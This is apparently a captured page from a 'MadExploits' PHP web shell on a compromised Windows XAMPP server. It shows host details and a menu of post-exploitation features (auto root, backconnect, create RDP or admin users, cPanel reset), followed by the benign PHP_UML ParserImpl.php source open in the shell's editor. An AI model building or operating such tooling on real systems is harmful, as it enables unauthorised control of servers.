Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
php /
pear /
PHP /
UML /
Input /
PHP /
[ HOME SHELL ]
Name
Size
Permission
Action
FileScanner.php
1.96
KB
-rw-rw-rw-
Parser.php
1.9
KB
-rw-rw-rw-
ParserImpl.php
42.3
KB
-rw-rw-rw-
ParserOptions.php
924
B
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ParserImpl.php
<?php /** * PHP_UML * * PHP version 5 * * @category PHP * @package PHP_UML * @author Baptiste Autin <ohlesbeauxjours@yahoo.fr> * @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 * @version SVN: $Revision: 178 $ * @link http://pear.php.net/package/PHP_UML * @since $Date: 2011-09-19 03:08:06 +0200 (lun., 19 sept. 2011) $ */ /** * An implementation of PHP parser. * * It relies on the PHP instruction token_get_all(). * Most navigabilities between associated elements are bidirectional * (the packages know their owned elements, and the classes know their * nesting package) * In a first step, relations (extends, implements) use strings. It means that * the namespace of a class is memorized through a string. * Once the parsing is done, a Resolver implementation must be used, * so that all the named references be replaced by PHP references. * * @category PHP * @package PHP_UML * @subpackage Input * @subpackage PHP * @author Baptiste Autin <ohlesbeauxjours@yahoo.fr> * @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 */ class PHP_UML_Input_PHP_ParserImpl extends PHP_UML_Input_PHP_Parser { /** * Reference to a PHP_UML_Metamodel_Superstructure * (where the parser stores all the program elements it finds) * @var PHP_UML_Metamodel_Superstructure */ private $structure; /** * Current PHP_UML_Metamodel_Artifact * @var PHP_UML_Metamodel_Artifact */ private $file; /** * If true, all docblocks are interpreted, especially @package and the types of * the properties/function parameters (if given). * @var bool */ private $docblocks; /** * If true, the elements (class, function) are included in the API only if their * comments contain explicitly a docblock "@api" * @var bool */ private $onlyApi; /** * If true, the symbol $ is kept along with the variable names * @var bool */ private $keepDollar; /** * If true, elements marked with @internal are skipped * @var bool */ private $skipInternal; /** * Current package index (which does not necessary match the last one put * over $packages stack). This index refers to the array $structure->packages * @var PHP_UML_Metamodel_Package */ private $currentPackage; /** * Current docblock comment * @var string */ private $curDocComment; /** * Current class features (abstract, final) * @var array Array of tokens */ private $classFeatures = array(); /** * Current element (property or function) features (abstract, public, static...) * @var array Array of tokens */ private $classElementFeatures = array(); /** * Current namespace, as defined by the PHP "namespace" instruction * @var string */ private $currentQn = ''; /** * PHP namespace aliases ("use <value> as <key>") * @var array Associative array alias => namespace */ private $aliases = array(); /** * Strict object oriented mode * @var bool */ private $pureObj = false; public function __construct(PHP_UML_Metamodel_Superstructure &$struct, PHP_UML_Input_PHP_ParserOptions $options=null) { $this->structure = $struct; if (!isset($options)) $options = new PHP_UML_Input_PHP_ParserOptions(); $this->docblocks = $options->keepDocblocks; $this->keepDollar = $options->keepDollar; $this->skipInternal = $options->skipInternal; $this->onlyApi = $options->onlyApi; $this->pureObj = $options->strict; if (!defined('T_NAMESPACE')) define('T_NAMESPACE', -1); if (!defined('T_NS_SEPARATOR')) define('T_NS_SEPARATOR', -2); } public function setModel(PHP_UML_Metamodel_Superstructure $model) { $this->structure = $model; } public function getModel() { return $this->structure; } /** * Parse a PHP file * * @param string $fileBase Full path, or base directory * @param string $filePath Pathfile (relative to $fileBase) */ public function parse($fileBase, $filePath = null) { if (!isset($filePath)) { $filePath = basename($fileBase); $fileBase = dirname($fileBase).DIRECTORY_SEPARATOR; } $filename = $fileBase.$filePath; if (!(file_exists($filename) && is_readable($filename))) { throw new PHP_UML_Exception('Could not read '.$filename.'.'); } $this->file = new PHP_UML_Metamodel_Artifact; $this->file->id = self::getUID(); $this->file->name = basename($filePath); $dirname = dirname($filePath); if ($dirname!='.' && $dirname!=DIRECTORY_SEPARATOR) { $fp = $this->addDeploymentPackage(dirname($filePath)); } else { $fp = $this->structure->deploymentPackages; // global } $fp->ownedType[] = $this->file; $this->file->package = $fp; $this->parsePhp(file_get_contents($filename)); } /** * Parse PHP content * * @param string $phpContent PHP code provided as a string */ public function parsePhp($phpContent) { $this->aliases = array(); $this->currentQn = ''; $this->currentPackage = $this->structure->packages; $tokens = token_get_all($phpContent); if ($this->docblocks) { // || $this->structureFromDocblocks // First, let's have a look at the file docblock : $dc = $this->tNextDocComment($tokens); reset($tokens); if ($dc!='' && self::findPackageInDocblock($dc, $set)) { $this->currentPackage = $this->addPackage($set[1]); } } $this->tBody($tokens); } /** * Retrieve an implementation of TypeResolver * * @return PHP_UML_Metamodel_TypeResolver */ public static function getResolver() { return new PHP_UML_Metamodel_TypeResolverByName(); } /** * Template matching T_CLASS * * @param array &$tokens Tokens */ private function tClass(&$tokens) { $c = null; while (list($l, $v) = each($tokens)) { switch($v[0]) { case T_STRING: list($classPkg, $className) = $this->getCurrentPackage($v[1]); $c = new PHP_UML_Metamodel_Class; $c->name = $className; $c->file = $this->file; $c->id = self::getUID(); $this->setClassifierFeatures($c); break; case T_IMPLEMENTS: $c->implements = $this->tStringCommaList($tokens); break; case T_EXTENDS: $c->superClass = $this->tStringCommaList($tokens); break; case '{': if (!is_null($c)) { $c = $this->tClassifierBody($tokens, $c); if (!is_null($c)) $this->setNestingPackageOfType($c, $classPkg); } return; } } } /** * Template matching T_INTERFACE * * @param array &$tokens Tokens */ private function tInterface(&$tokens) { $i = null; while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_STRING: list($classPkg, $className) = $this->getCurrentPackage($v[1]); $i = new PHP_UML_Metamodel_Interface; $i->name = $className; $i->file = $this->file; $i->id = self::getUID(); break; case T_EXTENDS: $i->superClass = self::tStringCommaList($tokens); break; case '{': if (!is_null($i)) { $i = $this->tClassifierBody($tokens, $i); if (!is_null($i)) $this->setNestingPackageOfType($i, $classPkg); } return; } } } /** * Specific template for T_CLASS/T_INTERFACE * Normally preceded by a tClass or tInterface * * @param array &$tokens Tokens * @param PHP_UML_Metamodel_Classifier $class A class or interface * * @return PHP_UML_Metamodel_Classifier The updated class or interface */ private function tClassifierBody(&$tokens, $class) { $operations = array(); $attributes = array(); $this->addDocumentation($class); $skipClassifier = $this->toBeSkipped($this->curDocComment); // should the class be ignored? $this->classElementFeatures = array(); $this->curDocComment = ''; $curly = 1; while (list($c, $v) = each($tokens)) { $skipCurrentElement = $this->toBeSkipped($this->curDocComment); switch ($v[0]) { case T_FUNCTION: if ($skipCurrentElement) { $this->tFunction($tokens, $class); } else { $operations[] = $this->tFunction($tokens, $class); } $this->classElementFeatures = array(); $this->curDocComment = ''; break; case T_STRING: case T_VARIABLE: if (!$skipCurrentElement) { $attributes[] = $this->tAttribute($tokens, $v[1], $class);; } $this->classElementFeatures = array(); $this->curDocComment = ''; break; case T_STATIC: case T_ABSTRACT: case T_PUBLIC: case T_PRIVATE: case T_PROTECTED: case T_CONST: case T_FINAL: $this->classElementFeatures[] = $v[0]; break; case T_DOC_COMMENT: $this->curDocComment = self::removeDocCommentMarks($v[1]); break; case '{': $curly++; break; case '}': $curly--; if ($curly==0) { $class->ownedOperation = $operations; $class->ownedAttribute = $attributes; return $skipClassifier ? null : $class; } } } } /** * Template for the attributes (properties) * * @param array &$tokens Tokens * @param string $name Property name * @param PHP_UML_Metamodel_Classifier $class Parent class * * @return PHP_UML_Metamodel_Property */ private function tAttribute(&$tokens, $name, PHP_UML_Metamodel_Classifier $class=null) { $r = $this->tScalar($tokens); $token = $r[0]; $value = $r[1]; $a = new PHP_UML_Metamodel_Property; $a->name = $this->cleanVariable($name); $a->id = self::getUID(); if (!is_null($class)) $a->class = $class; else { // isolated function list($classPkg, $className) = $this->getCurrentPackage($name); $this->setNestingPackageOfAttribute($a, $classPkg); $a->file = $this->file; } $a->default = $value; $this->setElementFeatures($a); $docs = self::getDocblocksInDocComment($this->curDocComment); //$desc = self::getDescriptionInDocComment($this->curDocComment); $this->addDocumentation($a); $dbParam = array(); foreach ($docs as $k) { switch($k[1]) { case 'var': $dbParam[$name] = $k; break 2; } } $this->setTypeElement($a, '', $token, $value, $name, $dbParam); return $a; } /** * Specific template for matching a list of T_STRING, separated by a comma * * @param array &$tokens Tokens * * @return array Array of elements found */ private function tStringCommaList(&$tokens) { $values = array(); $value = ''; while (list($c, $v) = each($tokens)) { switch ($v[0]) { case ',': $values[] = $this->resolveQName($value); $value = ''; break; case T_STRING: case T_NS_SEPARATOR: $value .= $v[1]; break; case ';': case '{': case T_IMPLEMENTS: $values[] = $this->resolveQName($value); prev($tokens); return $values; } } } /** * Specific template for T_FUNCTION * * @param array &$tokens Tokens * @param PHP_UML_Metamodel_Classifier $class Owning class/interface * * @return PHP_UML_Metamodel_Operation The operation created */ private function tFunction(&$tokens, PHP_UML_Metamodel_Classifier $class=null) { $o = new PHP_UML_Metamodel_Operation; while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_STRING: $o->name = $v[1]; $o->id = self::getUID(); if (!is_null($class)) $o->class = $class; else { // isolated function list($classPkg, $className) = $this->getCurrentPackage($v[1]); $this->setNestingPackageOfOperation($o, $classPkg); $o->file = $this->file; } $this->setElementFeatures($o); break; case '(': $o->ownedParameter = $this->tParametersList($tokens, $o); break; case '{': $this->tBody($tokens); prev($tokens); break; case ';': case '}': return $o; } } } /** * Specific template for T_CONST outside of a class * * @param array &$tokens Tokens * */ private function tConst(&$tokens) { while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_STRING: $this->tAttribute($tokens, $v[1]); return; case ';': case '}': return; } } } /** * Specific template for matching the parameters of a function * * @param array &$tokens Tokens * @param PHP_UML_Metamodel_Operation $o Operation * * @return PHP_UML_Metamodel_Parameter The parameter created */ private function tParametersList(&$tokens, PHP_UML_Metamodel_Operation $o) { $bracket = 1; $type = ''; $parameters = array(); $dbParam = array(); $direction = 'in'; $docs = self::getDocblocksInDocComment($this->curDocComment); //$desc = self::getDescriptionInDocComment($this->curDocComment); $this->addDocumentation($o); foreach ($docs as $k) { switch ($k[1]) { case 'param': $dbParam[$k[3]] = $k; break; case 'return': $type = $this->resolveQName($k[2]); break 2; } } $pr = new PHP_UML_Metamodel_Parameter; $pr->name = 'return'; $pr->id = self::getUID(); $pr->operation = &$o; $pr->direction = 'return'; $pr->type = ($type!='' ? $type : 'void'); $parameters[] = $pr; $type = ''; while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_STRING: case T_ARRAY: case T_NS_SEPARATOR: $type .= $v[1]; break; case T_VARIABLE: $r = $this->tScalar($tokens); $token = $r[0]; $value = $r[1]; $p = new PHP_UML_Metamodel_Parameter; $p->name = $this->cleanVariable($v[1]); $p->id = self::getUID(); $p->operation = &$o; $p->default = $value; $p->direction = $direction; $this->setTypeElement($p, $type, $token, $value, $v[1], $dbParam); $parameters[] = $p; prev($tokens); break; case '&': $direction = 'inout'; break; case ',': $type = ''; $direction = 'in'; break; case '(': $bracket++; break; case ')': $bracket--; if ($bracket==0) { return $parameters; } } } } /** * Template for matching a scalar/static data * (eg: $a = -14.5) * Stopping characters: , ; ) * * @param array &$tokens Tokens * * @return array An array((string) type, (string) default value) */ private function tScalar(&$tokens) { $bracket = 0; $type = 0; $value = ''; while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_STRING: case T_VARIABLE: case T_LNUMBER: case T_DNUMBER: case T_CONSTANT_ENCAPSED_STRING: $value .= $v[1]; $type = $v[0]; break; case T_ARRAY: $vtmp = $this->tScalar($tokens); $value .= $v[1].$vtmp[1]; prev($tokens); $type = $v[0]; break; case '-': $value .= $v[0]; break; case T_DOUBLE_ARROW: $value .= $v[1]; break; case '(': $value .= $v[0]; $bracket++; break; case ')': if ($bracket>0) { $value .= $v[0]; $bracket--; break; } else { break 2; } case ',': case ';': if ($bracket>0) { $value .= $v[0]; break; } else { break 2; } } } return array($type, $value); } /** * Template for matching T_NAMESPACE * * @param array &$tokens Tokens */ private function tNamespace(&$tokens) { $curly = 0; $value = ''; while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_STRING: case T_NS_SEPARATOR: $value .= $v[1]; break; case ';': $this->currentPackage = $this->addPackage($value); $this->currentQn = $value; if ($this->curDocComment!='') { $this->addDocumentation($this->currentPackage); } return; case '{': $curly++; $this->currentPackage = $this->addPackage($value); $this->currentQn = $value; if ($this->curDocComment!='') { $this->addDocumentation($this->currentPackage); } $this->curDocComment = ''; $this->tBody($tokens); prev($tokens); break; case '}': $this->aliases = array(); $this->currentQn = ''; $curly--; if ($curly==0) return; } } } /** * Specific template for matching the first T_STRING * * @param array &$tokens Tokens * * @return string The value */ static private function tString(&$tokens) { while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_STRING: return $v[1]; } } } /** * Specific template for matching a qualified name, after a namespace instr * * @param array &$tokens Tokens * * @return string The value */ static private function tQualifiedName(&$tokens) { $value = ''; while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_STRING: case T_NS_SEPARATOR: $value .= $v[1]; break; case T_AS: case ';': case ',': case ')': prev($tokens); return $value; } } } /** * Template for matching T_USE * * @param array &$tokens Tokens */ private function tUse(&$tokens) { $qname = self::tQualifiedName($tokens); $alias = ''; while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_AS: $alias = self::tString($tokens); break; case ',': $this->tUse($tokens); // no additional break please case ';': $this->addUse($qname, $alias); return; } } } /** * Base template * It loops over PHP code, either in the global space, either inside * functions, or class functions * * @param array &$tokens Tokens */ private function tBody(&$tokens) { $curly = 1; $this->classFeatures = array(); while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_CLASS: $this->tClass($tokens); $this->classFeatures = array(); $this->curDocComment = ''; break; case T_INTERFACE: $this->tInterface($tokens); $this->classFeatures = array(); $this->curDocComment = ''; break; case T_NAMESPACE: list($c, $v) = current($tokens); if ($c!=T_NS_SEPARATOR) { prev($tokens); $this->tNamespace($tokens); } $this->curDocComment = ''; break; case T_FUNCTION: if (!$this->pureObj) { $this->classElementFeatures = array(); $this->tFunction($tokens); } $this->curDocComment = ''; break; case T_CONST: if (!$this->pureObj) { $this->classElementFeatures = array(); $this->tConst($tokens); } $this->curDocComment = ''; break; case T_STRING: if ((!$this->pureObj) && $v[1]=='define') { $this->tDefine($tokens); } $this->curDocComment = ''; break; case T_DOC_COMMENT: $this->curDocComment = self::removeDocCommentMarks($v[1]); $this->tDocComment($tokens); break; case T_USE: $this->tUse($tokens); break; case T_ABSTRACT: case T_FINAL: $this->classFeatures[] = $v[0]; break; case T_CURLY_OPEN: case T_DOLLAR_OPEN_CURLY_BRACES: case '{': $curly++; break; case '}': $curly--; if ($curly==0) { return; } } } } /** * Template for matching doc-comment (the docblocks) * We do some forward-tracking to see the instruction that comes next. * We must "remember" the comment only for certain instructions (class, const, * function, etc). If we don't get one of these instructions, we forget it. * * @param array &$tokens Tokens */ private function tDocComment(&$tokens) { while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_WHITESPACE: case '@': break; default: if (!($v[0]==T_STRING && $v[1]=='define')) { $this->curDocComment = ''; } case T_DOC_COMMENT: case T_ABSTRACT: case T_FINAL: case T_CLASS: case T_INTERFACE: case T_FUNCTION: case T_CONST: case T_NAMESPACE: prev($tokens); return; } } } /** * Specific template for T_DOC_COMMENT. * Returns at the first T_DOC_COMMENT found. * Used to get the file-level doc-comment * * @param array &$tokens Tokens * * @return string The doc-comment, as a string */ private function tNextDocComment(&$tokens) { while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_DOC_COMMENT: return self::removeDocCommentMarks($v[1]); case T_OPEN_TAG: case T_WHITESPACE: case T_COMMENT: break; } } return ''; } /** * Specific template for dealing with the "define" instruction * * @param array &$tokens Tokens * * @return string The value */ private function tDefine(&$tokens) { $name = ''; while (list($c, $v) = each($tokens)) { switch ($v[0]) { case T_WHITESPACE: case T_COMMENT: case '(': break; case T_CONSTANT_ENCAPSED_STRING: $name = str_replace('"', '', str_replace("'", '', $v[1])); break; default: return; case ',': if ($name!='') { $this->tAttribute($tokens, $name); return; } else return; } } return; } /** * Adds a package to the metamodel ($packages) * * @param string $name Name of the package to create * @param PHP_UML_Metamodel_Package $nestingPkg Enclosing package. If not given, * the package is created at root * * @return PHP_UML_Metamodel_Package The package created (or the existing one) */ private function addPackage($name, PHP_UML_Metamodel_Package $nestingPkg = null) { if ($name=='') return $this->structure->packages; if (is_null($nestingPkg)) { // root package (global namespace) $nestingPkg = $this->structure->packages; } list($pos, $name, $following) = PHP_UML_Metamodel_Helper::getPackagePathParts($name); // let's check if it does not already exist: $p = PHP_UML_Metamodel_Helper::findSubpackageByName($nestingPkg, $name); // ok, pkg does not exist, let's add it: if ($p===false) { $p = new PHP_UML_Metamodel_Package; $p->id = self::getUID(); $p->name = $name; $p->nestingPackage = $nestingPkg; $p->nestedPackage = array(); $nestingPkg->nestedPackage[] = $p; } if (!($pos===false)) { $p = $this->addPackage($following, $p); } return $p; } /** * Adds a deployment package to the metamodel * * @param string $name Name of the package to create * @param PHP_UML_Metamodel_Package $nestingPkg Enclosing package * * @return PHP_UML_Metamodel_Package The package created (or the existing one) */ private function addDeploymentPackage($name, PHP_UML_Metamodel_Package $nestingPkg = null) { if ($name=='') return $this->structure->deploymentPackages; if (is_null($nestingPkg)) { // root package (global namespace) $nestingPkg = $this->structure->deploymentPackages; } list($pos, $name, $following) = PHP_UML_Metamodel_Helper::getPackagePathParts($name, true, '/'); // let's check if it does not already exist: $p = PHP_UML_Metamodel_Helper::findSubpackageByName($nestingPkg, $name); // ok, pkg does not exist, let's add it: if ($p===false) { $p = new PHP_UML_Metamodel_Package; $p->id = self::getUID(); $p->name = $name; $p->nestingPackage = $nestingPkg; $p->nestedPackage = array(); $nestingPkg->nestedPackage[] = $p; } if (!($pos===false)) { $p = $this->addDeploymentPackage($following, $p); } return $p; } /** * Return the index of the current package, depending on the @package in the * last parsed docblock, and/or the potential presence of a package path in the * class name. * Adds new packages to the $packages stack if necessary. * Normally used at each new class/interface insertion. * * @param string $class Name of the classifier * * @return array Result array[current package, class name] */ private function getCurrentPackage($class) { // Where's the class-level package ? // Is there a namespace along with the class name? list($pos, $pkg, $name) = PHP_UML_Metamodel_Helper::getPackagePathParts($class, false); if (!($pos===false)) { return array($this->addPackage($pkg), $name); } if ($this->docblocks) { // || $this->structureFromDocblocks // Is there a @package in the class docblock ? $r = self::findPackageInDocblock($this->curDocComment, $set); if ($r>0) { return array($this->addPackage($set[1]), $class); } } // No ? Then we return the current known package: return array($this->currentPackage, $class); } /** * Adds an alias to the list of namespace aliases * * @param string $namespace An imported namespace * @param string $alias Alias ("use ... as ...") */ private function addUse($namespace, $alias='') { if ($alias=='') { list($pos, $first, $alias) = PHP_UML_Metamodel_Helper::getPackagePathParts($namespace, false); } if (!$alias) $alias = $first; if (substr($namespace, 0, 1)==self::T_NS_SEPARATOR) $this->aliases[$alias] = substr($namespace, 1); else $this->aliases[$alias] = $namespace; } /** * Resolve a class path into a qualified name * - first by searching/replacing aliases (previously set by "use ... as...") * - then by prefixing with the current namespace, if the path is not absolute * (and if it contains a separator) * * @param string $path A qualified name (a class name like "A\B\C") * * @return string The full qualified name */ private function resolveQName($path) { // if the path does not start by \, we try to replace the alias, if it // contains one if (count($this->aliases)>0 && $path[0]!=self::T_NS_SEPARATOR) { foreach ($this->aliases as $a=>$qn) { if (substr($path.self::T_NS_SEPARATOR, 0, strlen($a)+1)==$a.self::T_NS_SEPARATOR) { $x = self::T_NS_SEPARATOR.$qn; $r = substr($path, strlen($a)+1); if ($r!='') $x .= self::T_NS_SEPARATOR.$r; return $x; } } } // if there is a \ in the path, but it is not absolute, then it's relative if ((strpos($path, self::T_NS_SEPARATOR)!==false) && $path[0]!=self::T_NS_SEPARATOR) { return $this->currentQn.self::T_NS_SEPARATOR.$path; } return $path; } /** * Docblock helpers */ /** * Find a @package declaration in a (filtered) doc-comment * * @param string $text Text to search in * @param array &$set Results (preg) * * @return int Result (preg) */ static private function findPackageInDocblock($text, &$set) { $p = preg_match('/^[ \t]*\*[ \t]+@package[ \t]+(\S*)/mi', $text, $set); $s = preg_match_all('/^[ \t]*\*[ \t]+@subpackage[ \t]+(\S*)/mi', $text, $sub, PREG_SET_ORDER); if ($p>0 && $s>0) { foreach ($sub as $subItem) { $set[1] .= self::T_NS_SEPARATOR.$subItem[1]; } } return $p; } /** * Return the docblocks of a doc-comment * * @param string $text Doc comment * * @return array Preg results */ static private function getDocblocksInDocComment($text) { $r = preg_match_all( '/^[ \t]*\*[ \t]*@([\w]+)[ \t]*([^\s]*)[ \t]*([^\s]*)[ \t]*(.*)/m', $text, $set, PREG_SET_ORDER ); return $set; } /** * Return the description part in a doc-comment * It is found before the first docblock. * * @param string $text Doc comment * * @return string The description */ static private function getDescriptionInDocComment($text) { // we first detect when the docblocs start: if (preg_match('/^[ \t]*\*[ \t]*@/m', $text, $set, PREG_OFFSET_CAPTURE)) $text = substr($text, 0, $set[0][1]); // and we take and filter everything before: $r = preg_match_all('/^[ \t]*\*(.*)/m', $text, $set, PREG_SET_ORDER); $str = ''; foreach ($set as $item) { $line = trim($item[1]); $last = substr($line, -1, 1); if ($last=='.' || $last==':' || $line=='') $str .= $line.PHP_EOL; else $str .= $line.' '; } return trim($str); } /** * Stores the description/comments (in $this->curDocComment) about an element * It is directly added as an object Stereotype to the $structure->stereotypes array * Note that the link between a stereotype and its element is bidirectional * (element->description and stereotype->element) * * @param PHP_UML_Metamodel_NamedElement &$element The element */ private function addDocumentation(PHP_UML_Metamodel_NamedElement &$element) { $desc = self::getDescriptionInDocComment($this->curDocComment); $docs = self::getDocblocksInDocComment($this->curDocComment); $s = $this->structure; $s->addDocTags($element, $desc, $docs); } /** * Removes the leading/trailing comment marks * * @param string $text Text to filter * * @return string Filtered text */ static private function removeDocCommentMarks($text) { return substr(substr($text, 0, -2), 2); } /** * Returns a unique ID * * @return string */ static private function getUID() { return PHP_UML_SimpleUID::getUID(); } /** * Returns TRUE if the current element must be ignored (because the docblock * contains @internal, or because onlyAPI is set) * * @param string $text Docblocks to look into * * @return bool */ private function toBeSkipped($text) { return ($this->skipInternal && !(stristr($text, '@internal')===false)) || ($this->onlyApi && stristr($text, '@api')===false); } /** * Filter a variable names * (removes $ according to _keepDollar property) * * @param string $str Text to filter * * @return string */ private function cleanVariable($str) { if ($this->keepDollar) { return $str; } else { return str_replace('$', '', $str); } } /** * Sets the nesting package of a type * * @param PHP_UML_Metamodel_Classifier &$c A classifier * @param PHP_UML_Metamodel_Package $nestingPkg The enclosing package */ private function setNestingPackageOfType(PHP_UML_Metamodel_Classifier &$c, PHP_UML_Metamodel_Package $nestingPkg) { $c->package = $nestingPkg; if (PHP_UML_Metamodel_Helper::searchTypeIntoPackage($c->package, $c->name)===false) { $nestingPkg->ownedType[] = &$c; $this->file->manifested[] = &$c; } else { PHP_UML_Warning::add( 'Class '.$c->name.' already defined, in '.$this->file->name ); } } /** * Sets the nesting package of an isolated operation * * @param PHP_UML_Metamodel_Operation &$o A function * @param PHP_UML_Metamodel_Package $nestingPkg The enclosing package */ private function setNestingPackageOfOperation(PHP_UML_Metamodel_Operation &$o, PHP_UML_Metamodel_Package $nestingPkg) { $o->package = $nestingPkg; if (PHP_UML_Metamodel_Helper::searchOperationIntoPackage($o->package, $o->name)===false) { $nestingPkg->ownedOperation[] = &$o; $this->file->manifested[] = &$o; } else { PHP_UML_Warning::add( 'Function '.$o->name.' already defined, in '.$this->file->name ); } } /** * Sets the nesting package of an isolated attribute (the PHP "const") * * @param PHP_UML_Metamodel_Property &$a A property * @param PHP_UML_Metamodel_Package $nestingPkg The enclosing package */ private function setNestingPackageOfAttribute(PHP_UML_Metamodel_Property &$a, PHP_UML_Metamodel_Package $nestingPkg) { $a->package = $nestingPkg; if (PHP_UML_Metamodel_Helper::searchAttributeIntoPackage($a->package, $a->name)===false) { $nestingPkg->ownedAttribute[] = &$a; $this->file->manifested[] = &$a; } else { PHP_UML_Warning::add( 'Constant '.$a->name.' already defined, in '.$this->file->name ); } } /** * Sets the features (abstract, final) to a classifier * * @param PHP_UML_Metamodel_Interface &$c Class or interface object */ private function setClassifierFeatures(PHP_UML_Metamodel_Classifier &$c) { foreach ($this->classFeatures as $token) { switch ($token) { case T_ABSTRACT: $c->isAbstract = true; break; case T_FINAL: $c->isReadOnly = true; break; } } } /** * Set the features (static, private...) in a given class property/function * * @param PHP_UML_Metamodel_NamedElement &$c Element */ private function setElementFeatures(PHP_UML_Metamodel_NamedElement &$c) { $c->isInstantiable = true; $c->visibility = 'public'; foreach ($this->classElementFeatures as $token) { switch ($token) { case T_STATIC: $c->isInstantiable = false; break; case T_ABSTRACT: $c->isAbstract = true; break; case T_PRIVATE: $c->visibility = 'private'; break; case T_PROTECTED: $c->visibility = 'protected'; break; case T_CONST: $c->isInstantiable = false; case T_FINAL: $c->isReadOnly = true; break; } } } /** * Set the type of a given element (class property or function) * * @param PHP_UML_Metamodel_NamedElement &$p The element * @param string $type Explicit type (type hint) * @param string $token The token * @param string $default The (eventual) default value * @param string $varName The variable name * @param array $dbParam The preg-array of docblocks */ private function setTypeElement(PHP_UML_Metamodel_NamedElement &$p, $type, $token, $default, $varName, array $dbParam) { if ($type!='') { $p->type = $this->resolveQName($type); } else { $type = self::getTypeFromToken($token, $default); if ($type!='') { $p->type = $type; } else { $type = $this->getTypeFromDocblocks($dbParam, $varName); if ($type!='') $p->type = $type; else $p->type = 'mixed'; } } } /** * Return a type (as a string) according to a given token/default value * * @param string $token Token * @param string $defaultValue Value * * @return string The type */ static private function getTypeFromToken($token, $defaultValue) { switch($token) { case T_ARRAY: return 'array'; case T_CONSTANT_ENCAPSED_STRING: return 'string'; case T_DNUMBER: return 'float'; case T_LNUMBER: return 'int'; case T_STRING: if ($defaultValue=='true' || $defaultValue=='false') return 'bool'; if ($defaultValue=='void') return 'void'; } return ''; } /** * Return a type (as a string), from the docblocks of a doc comment * * @param array $dbParam The array of params (obtained through a preg) * @param string $variable The name of the parameter you want to know the type * * @return string The type */ private function getTypeFromDocblocks(array $dbParam, $variable) { if (isset($dbParam[$variable]) && $this->docblocks) $param = $dbParam[$variable]; else return ''; if (isset($param[2])) return $dbParam[$variable][2]; else return ''; } } ?>
Close